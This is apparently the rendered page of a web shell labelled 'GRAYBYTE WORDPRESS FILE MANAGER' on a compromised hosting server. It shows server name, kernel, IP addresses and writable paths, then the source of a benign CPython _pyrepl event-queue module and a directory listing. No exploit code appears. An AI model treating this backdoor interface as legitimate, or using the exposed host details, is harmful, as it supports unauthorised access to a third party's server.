✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.173
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/alt/python313/lib64/python3.13/_pyrepl//base_eventqueue.py
#   Copyright 2000-2008 Michael Hudson-Doyle <micahel@gmail.com>
#                       Armin Rigo
#
#                        All Rights Reserved
#
#
# Permission to use, copy, modify, and distribute this software and
# its documentation for any purpose is hereby granted without fee,
# provided that the above copyright notice appear in all copies and
# that both that copyright notice and this permission notice appear in
# supporting documentation.
#
# THE AUTHOR MICHAEL HUDSON DISCLAIMS ALL WARRANTIES WITH REGARD TO
# THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
# AND FITNESS, IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL,
# INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER
# RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
# CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
# CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

"""
OS-independent base for an event and VT sequence scanner

See unix_eventqueue and windows_eventqueue for subclasses.
"""

from collections import deque

from . import keymap
from .console import Event
from .trace import trace

class BaseEventQueue:
    def __init__(self, encoding: str, keymap_dict: dict[bytes, str]) -> None:
        self.compiled_keymap = keymap.compile_keymap(keymap_dict)
        self.keymap = self.compiled_keymap
        trace("keymap {k!r}", k=self.keymap)
        self.encoding = encoding
        self.events: deque[Event] = deque()
        self.buf = bytearray()

    def get(self) -> Event | None:
        """
        Retrieves the next event from the queue.
        """
        if self.events:
            return self.events.popleft()
        else:
            return None

    def empty(self) -> bool:
        """
        Checks if the queue is empty.
        """
        return not self.events

    def flush_buf(self) -> bytearray:
        """
        Flushes the buffer and returns its contents.
        """
        old = self.buf
        self.buf = bytearray()
        return old

    def insert(self, event: Event) -> None:
        """
        Inserts an event into the queue.
        """
        trace('added event {event}', event=event)
        self.events.append(event)

    def push(self, char: int | bytes) -> None:
        """
        Processes a character by updating the buffer and handling special key mappings.
        """
        assert isinstance(char, (int, bytes))
        ord_char = char if isinstance(char, int) else ord(char)
        char = ord_char.to_bytes()
        self.buf.append(ord_char)

        if char in self.keymap:
            if self.keymap is self.compiled_keymap:
                # sanity check, buffer is empty when a special key comes
                assert len(self.buf) == 1
            k = self.keymap[char]
            trace('found map {k!r}', k=k)
            if isinstance(k, dict):
                self.keymap = k
            else:
                self.insert(Event('key', k, bytes(self.flush_buf())))
                self.keymap = self.compiled_keymap

        elif self.buf and self.buf[0] == 27:  # escape
            # escape sequence not recognized by our keymap: propagate it
            # outside so that i can be recognized as an M-... key (see also
            # the docstring in keymap.py
            trace('unrecognized escape sequence, propagating...')
            self.keymap = self.compiled_keymap
            self.insert(Event('key', '\033', b'\033'))
            for _c in self.flush_buf()[1:]:
                self.push(_c)

        else:
            try:
                decoded = bytes(self.buf).decode(self.encoding)
            except UnicodeError:
                return
            else:
                self.insert(Event('key', decoded, bytes(self.flush_buf())))
            self.keymap = self.compiled_keymap


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
23 May 2026 5.07 AM
root / linksafe
0755
__pycache__
--
23 May 2026 5.07 AM
root / linksafe
0755
__init__.py
0.903 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
__main__.py
0.412 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
_minimal_curses.py
1.801 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
_threading_handler.py
2.119 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
base_eventqueue.py
3.75 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
commands.py
12.007 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
completing_reader.py
9.814 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
console.py
6.705 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
curses.py
1.212 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
fancy_termios.py
2.506 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
historical_reader.py
12.93 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
input.py
3.69 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
keymap.py
6.309 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
main.py
1.893 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
mypy.ini
0.85 KB
7 Apr 2026 6.19 PM
root / linksafe
0644
pager.py
5.679 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
reader.py
27.063 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
readline.py
19.747 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
simple_interact.py
5.661 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
trace.py
0.423 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
types.py
0.346 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
unix_console.py
26.135 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
unix_eventqueue.py
2.465 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
utils.py
2.387 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
windows_console.py
21.188 KB
28 Apr 2026 11.26 AM
root / linksafe
0644
windows_eventqueue.py
0.968 KB
28 Apr 2026 11.26 AM
root / linksafe
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF